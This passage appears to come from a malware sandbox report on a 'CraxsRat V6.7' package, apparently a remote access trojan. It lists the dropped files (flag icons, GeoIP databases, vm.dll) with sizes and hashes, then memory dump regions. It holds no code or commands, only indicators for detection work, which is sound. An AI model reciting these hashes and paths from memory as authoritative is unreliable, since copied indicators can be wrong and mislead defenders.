SHA1
3f3249fe921c1d4767b76b0c3a720cba0262b565

SHA256
236c59500b9bd83212375ca7514c0d62dc088203ed269e9cd55ca6349adbc8f0

SHA512
3f8a1f0683207ed616819a0e42b18e5b02eab0300fcf6eac1c399f0e5475f45d62e0bdebfe0055d411d529649938623acfd4b3b02fe80fc9da6a0492dcd31822

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\AU.ico
Filesize
33KB

MD5
ae8189b2c04d783a2f68f0204f1baeab

SHA1
e5709598ed08427a1dd83e1d994330bba1b1b091

SHA256
047f9bd82ca7e2685c1dca4c065209977b5e8c32f78ee821bcc7aba12decb044

SHA512
ef1dd8330cf3cfa9840a5902e13c669e6de911ca9f383067506e2c106f05021aa79df60e2a867259bbd1dd056b9367d5814e9bcbafb242d718fa7fe0fe664248

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\AW.ico
Filesize
33KB

MD5
49d969f363a153b7e1cb4dc2cb742238

SHA1
2a8fbfd37be58690dc2e0ca2b3ce04c2d15d6eec

SHA256
f0d730a0d8ce85f049a6d8a52733c506a8cf48584b18838f3d677b09d9c09b52

SHA512
97f17ab20ee96ae4e71e31c7864c509ef0b714215606413c801b3608770415ab63d6d5be0980af7231e4c2e270407fd273c36e0e47d524e59126b933fafa4eac

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\AX.ico
Filesize
33KB

MD5
19169001a889e72fef769900ca7a8b27

SHA1
e17d9c371cc34d19f05c46d81e06f7ae2159dc7f

SHA256
5ac8c61a8ad2d7ecc3e76927fd6d52b4f279c4d3a92dd32715395581c4615423

SHA512
4c8247ab0f37cafa90ae34aa865af45b6b388fdfa8ab96935d2ae2064c620240dbb8f93c9958844a34fbd249422a9b5751639179697bab44aabda8afc18b0454

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\AZ.ico
Filesize
33KB

MD5
3abcf274a070469b7fd5cc1f60408c9d

SHA1
a2fbdbc0028f398a90b351fe5e3a2e4b31153b07

SHA256
d3cc5eeabeae7f54a8c5600b5c2354b355492634031e32e8ba981806b0494b61

SHA512
14be128eaa0b49b7ad07ad2230732e923a30c204faae1c3afac766088836845fc385a99ef50938f6261456e0e45afcd17c0661345ab72cca8b66bd710eb3035f

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\BA.ico
Filesize
33KB

MD5
a603875f8aecceb0d62c9c346f250e62

SHA1
44b58245d17d8d205e6bc2015965b3ac9374245e

SHA256
b586dd987bd326d24ad3edddd1f649d2fc49eaf96028e62e6e14208591a31a9b

SHA512
62c218f9e7e30c056c02b0e9e35b39fa9b66faced7fa8c3a14e9636450d271da04aa5f04a627452be03d0df062b38db0bbeb4fcdedb0d7d820d0bb186cb38953

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\BB.ico
Filesize
33KB

MD5
a272b143736710d954a021e7b5b1fe41

SHA1
abf3a358da02a0d9786a022a1367d9bf805ae060

SHA256
f679b5b2dfe2c980b55b713a025936c10260db10254391c5b66dcec51dd97705

SHA512
9290ed552de75f080719d3e6f4954234b48cb1bf87952bf62d1799d64c0d0a2419fe6776d5a84f691f877a6e7ccb176824e7dd00f5ceec7da32458faf1ef6485

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\BD.ico
Filesize
33KB

MD5
7bb2410b8a58504b0645e9e869cb903e

SHA1
a1d49a900e2367817575d581c34a3f4b5282db25

SHA256
f8d767b5e74cde08d614d64bc51f4d9db90dc056dba1c38ad8b21aa6c598a286

SHA512
a629b6e3a5fc4cc0499e18139260a7c67c629d76c8264ffd3d99c62154354b50bcc5d73b0475891cf38b90809de996648c211a9c2df0aa4e885e536fe4d3f825

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\BE.ico
Filesize
33KB

MD5
f7ed63c5a74feb0ee727cab8d64e2ba2

SHA1
d06d03cc1f832a30c3b5ae51f164291498ff4df4

SHA256
bd0eefab4e51b0beae22d4557f8c43e2908c39b23158900d9c3d38d4a3c27b2d

SHA512
01bb6f850b6b213e365b55861f6a92442c15931db6989f6be03a009a97151abf066eb1298fbd6d130a7ff47970097ecda5855acd2f15fb750f1e5f6916b06e48

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\BF.ico
Filesize
33KB

MD5
afe862286a0c17305ca72a54bacc21ca

SHA1
e220c5912d11960c8e9ee38f44dca1361b729dd3

SHA256
5f865103ca695247ab7ea7e02a1942ef01cd65120973e17fa3fcc3e59f9f7eb9

SHA512
33905016ee79a2213a5dd03d553e0245058422d45861f4587f4b3aa2e9562686c209fd1e76575d7614a52388f3308907bbdf867223e15a7fe62d3650b130ce68

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\BG.ico
Filesize
33KB

MD5
8237c4778058a9bab26f406b8f06dca2

SHA1
4bc2b85679ea7e634af68b4e31135d3205ae01c6

SHA256
426c8b630bdc5916c5a687450e90a265d18a1042111c7f26a5a7d85d143044ad

SHA512
b64ec153ba921e2f91146ec1461a75b59fb8e71ddb27dc306144a9cc1aa271e6a61096210f4a3a8e56b45ced2f16343cf61a8bc594b52ccb1d9a0d5b312456ed

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\BH.ico
Filesize
33KB

MD5
75c68788c23a5adf9efe2c1b70526710

SHA1
3750a765118359dd026580d071da6bd3ecd677f3

SHA256
2525fc71eb284013f3add2f13578363e8030ed41fec3a7fd599a96b2a8ba0d70

SHA512
c2a8ee014d1c9ed3ff09d6781c5062fd9aa2dd233c911358eefc2f27d24cee05883086420b2ecab27138a5f6d0143e045ea2b80a221b30b28eb02ecfe3b6c0d3

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\BI.ico
Filesize
33KB

MD5
f44e4ff32292c899f1dfc0d40946c945

SHA1
3e1c7d81166d64dcd6052a7fbe72dd6a56753682

SHA256
84145ca9e4595bdd4838af891ca65f3b88f4ce830f867b6d4f821780152b9c16

SHA512
aad82aee512ee6768ab98e83aeda9b6954d792e81273594d4c2f46183fc0f7df8c0fc4a8035a43c8989b61690dbebea8e286461b01eeafa3398ecbe61750fccb

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\BJ.ico
Filesize
33KB

MD5
994401f509db6b74c3ba205814ff1f02

SHA1
3334f65250c7ba7cbee20065bf4d52becdbd392d

SHA256
569c37c33bf5fe84cf1766c26c531be1398e80585551cd065dfb8dd62a57b608

SHA512
cbdf647eebcbbab5df5b8b68ffbb900534f2d41ec2f4d74e53e53eabbd2219caf83dce0cdbb53cd9c126ce1f88aa667439bce5a5a6ae5e6eb07acc8c8740d1d2

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\BL.ico
Filesize
33KB

MD5
a5b94c9bcb4d88d9db4d0a568f80b079

SHA1
80167cfe16e20d0eda73b7b4627ce676911814be

SHA256
8165efe84da8f10193cadb266016cfb6ca87724614d00c70495a7b9afc172caf

SHA512
5a186a33e52870dbe2e58c889e913315add63486dd184b216cc3a8b2317169e3ffea8eaaf95084eef6ea04a0f3a791d6012bce6b0118143aa514820050577c54

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\BM.ico
Filesize
33KB

MD5
d3be823145f7a4b0424beecfff5c9e75

SHA1
0d279742a4c5468d58f2d141b5e3922699b165b7

SHA256
7f33f4d7cdbe5ac4745917badc34bb93d38a8e5abff6bcdc0c76d3171baf275a

SHA512
6f84de202333e036d1aa772a82448e3e0adb2b453d3f93eab5ed745b4399b74e07abd3a533862a68b57dcd1982941698545e239a6510e0f59a51a442adbd7009

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\BN.ico
Filesize
33KB

MD5
4af382e98b18f91caac79ae5240ccc40

SHA1
3158bae6579aa85151b67ab08687b64467c19e4b

SHA256
9cb1449764b3abaae85b2edb0e39afb9776e4c662591f3b241b741a502bb777b

SHA512
0a6daa2b22ee49819d0cda58cfe74343638c62041ef342b08918edd4e1e9e4e90ce2e72a09773b2d9a8859310d237cb8f765fa9658cdfa4adaf1b9e40bb5880a

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\BO.ico
Filesize
33KB

MD5
ac44c7d4d6d1725f969c9aea026bbff1

SHA1
7796cd8f72ca40280d819cf4512a534eacf35b68

SHA256
a74d0a96d71485df49614b77a3a232af0c0984443cf2a3efd30d2a9b367271f6

SHA512
1a68ed03fd0bb79460fdb2c6a0c3677db9055f17a14da79eb3388fa3d4a61d17984ea3d0b7d69c9bc5b6a39be955fba62962993122d8df860355125b2e759242

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\BR.ico
Filesize
33KB

MD5
b44d5f3b7562b900379302a2f8abe2e7

SHA1
93f2167eeb28510497a4cf6e731aadc1deb783cb

SHA256
29be53093407af0aa165535b196cd3233e19903e7d07c7487c3590feaf3806dd

SHA512
6654a62d640d0b20be490d05a871abe2cae150e3ebd9119c656a8e62deb8a820a417c06fad5fcfbbf5d942c73c9042a281affbd9c28240d85d17ffd1af709ef8

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\BS.ico
Filesize
33KB

MD5
8e52a4c31bcf00be00030a8e22e0642c

SHA1
a6743ce24e9ccc60064ea3629d54593cda7309b3

SHA256
2f2cf7125492eb037d8c5bfa15c1584ad8b55047f46e5052b142674ce10e95c4

SHA512
c5fe2072d1c029f359f79e07835e528f5527ccffef1d85483760eea8556b842449dd5babdad3b6f3ced1fe5a6104bdb4d9a688630bd9e26c8e533bdacf6096dc

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\BT.ico
Filesize
33KB

MD5
6354a3e9500fd25c6b16d06ee185b4df

SHA1
cfc3cdf3c1dffc5b8e00751cd25ec2e25d4ebbbe

SHA256
ea70f8f17623daf8128eeee0fd9b91d942d928e5b20da5e1bbc7a5d7a4be5e1f

SHA512
941b4b4b61f6475dd10df924f6580fc0b351d6bcf3dc75e8a9ed6ad60d57931379483457bf5d3c998e8fcae23ad110160fd73cb1e876119a702c0aceefe3b486

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\BW.ico
Filesize
33KB

MD5
52744003db72b685d11c884f2f9e56b6

SHA1
310b6932dc8864a8a6b2811badfac88288609a79

SHA256
9c1c1186d19dd5c439351fcb756df877c4ea351dbf4aac1de226b98b3053ff01

SHA512
6bfa94f9e8905498fd503b55d67d87ad2778799b04c9129c5f15de45d3fbf75d3460b5b855f048d169e345766e4457b25e29b03abeff043ef68b4669822c6d8f

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\BY.ico
Filesize
33KB

MD5
4c2fd28b7d3e934b6979550174bf4f97

SHA1
5177886a85094d8446ff457e2956481a68b066db

SHA256
de9fb648d544aee8166232826f3ddf7973d957eedb70ce5100df5a969d7a6cc7

SHA512
fdafcec7528305f0aa03d83ec5888c19bbea333b116a142ade6fb53d2812f4cfe5735ffb2ba2158389751c04b3e172fd196648e9fc8e95892125fdac1183a976

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\BZ.ico
Filesize
33KB

MD5
79c5d3202341bbd141ccd6543fe01983

SHA1
ea4b1accd5025dce621752bd23a5143b1128873e

SHA256
627bbd8aefb32eb4bd11c2519ad35427d5627bdbd54b68119827990ef66b4180

SHA512
790390d2e6bd15f35f7f414504a01f206b6114837388b8897cf74bb0191598b4dbe01f1a99a39e0f3a535bedc714d77b63dfbe1e368f744e04acfe93f938ae25

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\CA.ico
Filesize
33KB

MD5
a28d60062ceb07e296f5c4ddd6e76fed

SHA1
e9306422c690eb6e773b9ce306c6e5eb545f6e1c

SHA256
642b7b575255c44fa96167b1268e69f2fa72e76d62aa8f15768eeebdd45d11d2

SHA512
73dfb8a1ca49d5b8e9a739fc36dc68f5ee7a66be7b851f38941c6a7b55af64187b3390d1e8962b850e6d3f3755b9c03c5103ae62cb0e29855b2cc7cc49b3105f

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\CC.ico
Filesize
33KB

MD5
549077dbd6355bdf02cf9ae94cd90d31

SHA1
447cee9c147f048529a2f654665e48d390d4ca61

SHA256
4c13e537ae62cfd9e6bf1690ad6fd7a0444ccdbebf9f29478c0238ba60c4bc58

SHA512
720a6f26cb64b4ba56c931370ae74ce0ec83756a1af0a33af2b11ee725ce4eea2945972283b49a908aec9aa42eb7f357e7eb7030465a11d4d63b5802ca6442d9

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\CD.ico
Filesize
33KB

MD5
ce3a6c35e3c3c2e5a283e903378b9c47

SHA1
df642801fcfb8c444dd6268a3169cf0d5e3507a1

SHA256
50f6609606763761767bbbcaa7f845644a15612fd7a9228c384729691a14b350

SHA512
22c2eedd1ea6333e0475202ca1835372efe4312480996a02da8067a15cbf90384e455c424b371280fb87494d30a87d580eac7e5bdb42debd522553feb02f53d1

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\CF.ico
Filesize
33KB

MD5
6431050f008d7af7d9d445a16959b3e0

SHA1
8fc15ba33e4f1e5332c8485da830bf788da575b0

SHA256
29218dbf97371f2d0282388a8c1f18df0cd59cff572e9a1d3833fa30dfca1210

SHA512
c9d9ed66847f2bff165d3ee13befaee58492950a3c326b94780803daf1d5792e5ebc79dc354b47531be700d703c207b4a7ea06b4ad7d60eb0e6a5eefd02dc122

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\CG.ico
Filesize
33KB

MD5
713242b9378bcc70a07f166be42e0283

SHA1
d76fe8c0f13867ee0cd9aa824f9611ffb384e5b5

SHA256
8caaf67c31afba8703fbfb04a416e54720a7f015897daa733bd9d89ab55e7c63

SHA512
f13eddf4c656f982a2c98881cc1df769b67b0764242d85e3c76b355a6dc80e86ee6fdf6ce2956fe4d90f58402de605ef0809080ec28d365c64ca662f33d93bdc

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\CH.ico
Filesize
33KB

MD5
02bc13498f6d75a299da5afe6e14208c

SHA1
1306eb72cc25d7f6f1ed27374d06f48a034384b8

SHA256
c712b3b71aab3fd48b7d0256430b3177106a7bf5ec93d1ca39a912d6f5f9d877

SHA512
f71e7b005c1f6e751fc5a65e7c27574c5df548c3af35dc14995413f8bb8368ba515e5f55f0574064e2ee724b96352d3aba69237362383381eb7d9cb325051528

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\CI.ico
Filesize
33KB

MD5
08ebf16a5070b3dd3f99b5b595f8014f

SHA1
5ca1eb5e1392161b7bef86245be061107fdb6db0

SHA256
b682dbdd522f2b9e3edb7e2bc80fb82b973f6c913bf2c5992893d26a7b777e6c

SHA512
f1f5a4f6eacc6c773a8d1ff2631ba2505603eda68ef289b91ba9a872d6872e8581749dd2bf34ca56abeae20691bf01917af45496fa717c03a2999cd2e88668ba

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\CK.ico
Filesize
33KB

MD5
e298c18a1e686067dbdaa880f0d6d8aa

SHA1
617f5422777ff7de11581c117d917019c93188ee

SHA256
e17e1e1611e1de28707872a2287a45d108a48c9f6fd00574def682dd2fad0beb

SHA512
b72b67fe51e41cfc98d6d31618c19f618b9833f84ac54cda151519b025f5685b258c1393bcc190ae0b6cf5be70cfb71b6d27567807f5ae101e034bf1f57109b0

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\CL.ico
Filesize
33KB

MD5
69076ebd2104d4feaacc90c116be22d4

SHA1
5bcda0bc0a3ce338cfdd9211f0c022acb1fa15dd

SHA256
ca76382bc3d8fc37de4f5b957a50e7f4c85afbdf990207c698dd8a28cbfba700

SHA512
f6405e1ce4664b94dc55b7f9e2aa9ac1c9f31249bd2dc455b7bb6c904fd69266bb2c7d00870e08b814a0fc4981b5faa13d724fe5edba73b8ccc75567322fe59b

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\CM.ico
Filesize
33KB

MD5
dad6cfedba3ef1c9b983d4085159b0a9

SHA1
dbe742ba3d4ad1a16440b05456387024534ee50c

SHA256
20ba53d3c0953eb1c47842270d4fba6f7a514087fc0d16400df7cb033c75cd8f

SHA512
aee2f194ac62a8a7111805ade9785a2c7afd0a507331005a1936adcb52084478593e00d4091aa46318bfb90a466634fac36e34e71b892d53180c052e3f0ab0e0

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\CN.ico
Filesize
33KB

MD5
c38c10cdc79a19a1c6cb3edc6684069e

SHA1
f1682df8292b53ddf1b240b63ef74e75d1b64fce

SHA256
cb888a7fefc252365abc4ca04ff5e6704d1e70e7b19c282907085ec4ef461348

SHA512
12a7caa9b4b41cd2e1d1fb1f9e45c45b52f9dae498b0f4cf07c87ff25872da47f307bfbe61022d6fabd34cf36d349c4120734b23183b1eb06f7822e2fc9ef039

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\CO.ico
Filesize
33KB

MD5
b1e6c42481d83915d66beb12d2e5bce4

SHA1
1d3077f62d0db64e45713a33bec0b669cd620ffe

SHA256
6c255557f7d096c47fe2e7d12ddc95d2f143b1c8c42bdc1121e951dd5c306d4b

SHA512
03c7bd4337be7e53f98f4a16a3db558e6ff02b43c7203817897113a663006b005a5a6b31e2ee4e914991b65f1a3e5a3cb7faabea0df8cc12ce42654ca698ece7

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\CR.ico
Filesize
33KB

MD5
7610187c8942adc6379ee8a928b5943e

SHA1
2e050bf0395a9eb762ff4e274b334c8dba86ae59

SHA256
c8eba9ba7479ed1675eae586687781d98c41edf3e9c29078ff849c17c8b43dc5

SHA512
b8b968c09a37714847e09518ce2741e400d47c934297a0726ff9076071d5368b68d4d9e006ec6f3ff57e44f27f64ac31a662c3afbe1c857a9cf46807a231fa6d

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\CU.ico
Filesize
33KB

MD5
b133d25efacc1f50becdab1b727425a1

SHA1
f98c8cd3c1f0e6ee9462776202b0aa29b9f2d414

SHA256
8aa8589840ca738bf96233824b26d4af82f20c4db5feb554eb9c1bf4b0655a0c

SHA512
d81e7152a940b0d72f355cb2313aba5a8f4b408e1f84fb376793afd445b1179de4b5290b791b2522181cb0780ef3f184186c202acf96fd7ad2144ad001bce276

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\CV.ico
Filesize
33KB

MD5
88e0b4a34cec1a586aa355bd72c4e0ec

SHA1
33c58b7b380b23fe1462d242ddeeb341d7eba3cc

SHA256
20b47c8ed6cef15198f758be3ceb8a54441eda8a4b0c61634a8b73d06654b187

SHA512
34420cbcc7c16bbe431b009b1ae43a91046510dcb1f41c8bd5d9776ae5be524b53591a157780532fb37704c7c0ac94cd55bc243b681115e0954c458c15e63857

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\Flags\CW.ico
Filesize
33KB

MD5
832d93cefd95c7d16d8a30f48436944b

SHA1
8ed2d6967ba2fbe26f0b6215f315b0539c01c3bf

SHA256
84bc2d33f86ca81cb3ab49d4cc2e8cc442432e1ac18e9b5eb2b171990eb272fb

SHA512
ecfcca4747226e2a0b72b9cd6a2a1b366430c8ebe7f921f636df6d8f8ada831f7853ef8647cff36b7a6f20a0855866312ac8a287191bdb64a71d1372acab45f8

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\GeoIP.dat
Filesize
1.1MB

MD5
2fbec46d430f57befcde85b86c68b36e

SHA1
3ff9829e3242deb69a7fde0832b7d9345b925afc

SHA256
681ede512fe7ac21e976c754bfc1e1a75a9e02c3d931ce6849cfaa9d4080338a

SHA512
42036af6f57e446fec194ce71fa634dee9f4c77342f64a867fca8730d76349190960a7e7a5967ea59c250ca1b220d4845b4911dd63ee870f5620d9eb513b91d6

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\res\GeoIP\GeoIPCity.dat
Filesize
25.6MB

MD5
fab3cc04a19ffdf90d775e27967a7c25

SHA1
723c1635338bec7c1c876769618789268b8faad2

SHA256
bf41a0a700e3b35415609d090b15c5355e5cf4ca703ab119626b2d450997c608

SHA512
fe013386ff799cda195222341ee601d7b8b3c5c8abacf3c80e3fa03af52ac848f8a79a7dd87d8831d5a366243343f1025f704f49d858da4b02235968f834a9e6

Download Submit
C:\Users\Admin\Desktop\CraxsRat V6.7\CraxsRat VIP\CraxsRat VIP\vm.dll
Filesize
1.2MB

MD5
2ea0b884f350ca998c8eb8a6e446dd80

SHA1
b77881ed6fd71691d36d9450df41a23a7155d4a4

SHA256
26030082b3521b92edd89ece08beb62c1a017ce882139d029db563992536a25c

SHA512
8ba9f7529b798d61b6eda22cc6056e6291f275734d83129b56560c535060098bf16adb21283b20c7fd6ba3867922d23557725c9cd9dc53a10052ff1576c95f05

Download Submit
memory/3488-1038-0x00007FFD03A70000-0x00007FFD03BBE000-memory.dmp

Filesize
1.3MB

Download
memory/3488-1021-0x000001CDBC670000-0x000001CDC03D2000-memory.dmp

Filesize
61.4MB

Download
memory/3488-1034-0x000001CDB4F00000-0x000001CDB50A6000-memory.dmp

Filesize
1.6MB

Download
memory/3488-1030-0x000001CDAB8F0000-0x000001CDAB91C000-memory.dmp

Filesize
176KB

Download
memory/3488-1032-0x000001CDABCF0000-0x000001CDABD2C000-memory.dmp

Filesize
240KB

Download
memory/3488-1028-0x000001CD935F0000-0x000001CD9360C000-memory.dmp

Filesize
112KB

Download
memory/3488-1027-0x000001CD91D40000-0x000001CD91D4C000-memory.dmp

Filesize
48KB

Download
memory/3488-1036-0x000001CDB9FE0000-0x000001CDBA016000-memory.dmp

Filesize
216KB

Download
memory/3488-1018-0x000001CD8E060000-0x000001CD917AC000-memory.dmp

Filesize
55.3MB

Download
memory/3488-1094-0x00007FFD03A70000-0x00007FFD03BBE000-memory.dmp

Filesize
1.3MB

Download
memory/3488-1095-0x00007FFD03A70000-0x00007FFD03BBE000-memory.dmp

Filesize
1.3MB

Download
memory/3488-1375-0x00007FFD03A70000-0x00007FFD03BBE000-memory.dmp

Filesize
1.3MB

Download
memory/3488-1374-0x00007FFD03A70000-0x00007FFD03BBE000-memory.dmp

Filesize
1.3MB

Download
memory/3488-1020-0x000001CDABE30000-0x000001CDABF68000-memory.dmp

Filesize
1.2MB

Download
memory/4624-1240-0x000001757AFC0000-0x000001757AFC8000-memory.dmp

Filesize
32KB

Download
memory/4636-1132-0x000001E77E100000-0x000001E77E479000-memory.dmp

Filesize
3.5MB

Download
memory/4636-1346-0x00007FFD1AE60000-0x00007FFD1AE6D000-memory.dmp

Filesize
52KB

Download
memory/4636-1127-0x00007FFCF9210000-0x00007FFCF938A000-memory.dmp

Filesize
1.5MB

Download
memory/4636-1129-0x00007FFD1ADD0000-0x00007FFD1ADDD000-memory.dmp

Filesize
52KB

Download
memory/4636-1128-0x00007FFD13210000-0x00007FFD13229000-memory.dmp

Filesize
100KB

Download
memory/4636-1130-0x00007FFD07A70000-0x00007FFD07A9E000-memory.dmp

Filesize
184KB

Download
memory/4636-1131-0x00007FFCFF670000-0x00007FFCFF728000-memory.dmp

Filesize
736KB

Download
memory/4636-1125-0x00007FFD15E50000-0x00007FFD15E68000-memory.dmp

Filesize
96KB

Download
memory/4636-1134-0x00007FFCF8E90000-0x00007FFCF9209000-memory.dmp

Filesize
3.5MB

Download
memory/4636-1133-0x00007FFCF9390000-0x00007FFCF97F6000-memory.dmp

Filesize
4.4MB

Download
memory/4636-1136-0x00007FFD1AE60000-0x00007FFD1AE6D000-memory.dmp

Filesize
52KB

Download
memory/4636-1135-0x00007FFD0E6F0000-0x00007FFD0E705000-memory.dmp

Filesize
84KB

Download
memory/4636-1140-0x00007FFCFFF40000-0x00007FFD00058000-memory.dmp

Filesize
1.1MB

Download
memory/4636-1139-0x00007FFD15BA0000-0x00007FFD15BC4000-memory.dmp

Filesize
144KB

Download
memory/4636-1124-0x00007FFD0D4A0000-0x00007FFD0D4CC000-memory.dmp

Filesize
176KB

Download
memory/4636-1117-0x00007FFCF9390000-0x00007FFCF97F6000-memory.dmp

Filesize
4.4MB

Download
memory/4636-1118-0x00007FFD15BA0000-0x00007FFD15BC4000-memory.dmp

Filesize
144KB

Download
memory/4636-1306-0x00007FFD0D4A0000-0x00007FFD0D4CC000-memory.dmp

Filesize
176KB

Download
memory/4636-1309-0x00007FFD15E50000-0x00007FFD15E68000-memory.dmp

Filesize
96KB

Download
memory/4636-1322-0x00007FFD154E0000-0x00007FFD154FF000-memory.dmp

Filesize
124KB

Download
memory/4636-1334-0x00007FFD15BA0000-0x00007FFD15BC4000-memory.dmp

Filesize
144KB

Download
memory/4636-1348-0x00007FFCF9210000-0x00007FFCF938A000-memory.dmp

Filesize
1.5MB

Download
memory/4636-1347-0x00007FFCFFF40000-0x00007FFD00058000-memory.dmp

Filesize
1.1MB

Download
memory/4636-1126-0x00007FFD154E0000-0x00007FFD154FF000-memory.dmp

Filesize
124KB

Download
memory/4636-1344-0x00007FFCF8E90000-0x00007FFCF9209000-memory.dmp

Filesize
3.5MB

Download
memory/4636-1343-0x00007FFCFF670000-0x00007FFCFF728000-memory.dmp

Filesize
736KB

Download
memory/4636-1342-0x00007FFD07A70000-0x00007FFD07A9E000-memory.dmp

Filesize
184KB

Download
memory/4636-1340-0x00007FFD13210000-0x00007FFD13229000-memory.dmp

Filesize
100KB

Download
memory/4636-1333-0x00007FFCF9390000-0x00007FFCF97F6000-memory.dmp

Filesize
4.4MB

Download
memory/4636-1364-0x00007FFCF9210000-0x00007FFCF938A000-memory.dmp

Filesize
1.5MB

Download
memory/4636-1369-0x00007FFD154E0000-0x00007FFD154FF000-memory.dmp

Filesize
124KB

Download
memory/4636-1373-0x00007FFCFF670000-0x00007FFCFF728000-memory.dmp

Filesize
736KB

Download
memory/4636-1372-0x00007FFD07A70000-0x00007FFD07A9E000-memory.dmp

Filesize
184KB

Download
memory/4636-1371-0x00007FFD1ADD0000-0x00007FFD1ADDD000-memory.dmp

Filesize
52KB

Download
memory/4636-1370-0x00007FFD13210000-0x00007FFD13229000-memory.dmp

Filesize
100KB

Download
memory/4636-1368-0x00007FFD15E50000-0x00007FFD15E68000-memory.dmp

Filesize
96KB

Download
memory/4636-1367-0x00007FFD0D4A0000-0x00007FFD0D4CC000-memory.dmp

Filesize
176KB

Download
memory/4636-1366-0x00007FFD1BFF0000-0x00007FFD1BFFF000-memory.dmp

Filesize
60KB

Download
memory/4636-1365-0x00007FFD15BA0000-0x00007FFD15BC4000-memory.dmp

Filesize
144KB

Download
memory/4636-1363-0x00007FFCFFF40000-0x00007FFD00058000-memory.dmp

Filesize
1.1MB

Download
memory/4636-1362-0x00007FFD1AE60000-0x00007FFD1AE6D000-memory.dmp

Filesize
52KB

Download
memory/4636-1361-0x00007FFD0E6F0000-0x00007FFD0E705000-memory.dmp

Filesize
84KB

Download
memory/4636-1360-0x00007FFCF8E90000-0x00007FFCF9209000-memory.dmp

Filesize
3.5MB

Download
memory/4636-1349-0x00007FFCF9390000-0x00007FFCF97F6000-memory.dmp

Filesize
4.4MB

Download
memory/4636-1119-0x00007FFD1BFF0000-0x00007FFD1BFFF000-memory.dmp

Filesize
60KB

Download
memory/4804-1151-0x000001E973840000-0x000001E973862000-memory.dmp

Filesize
136KB

Download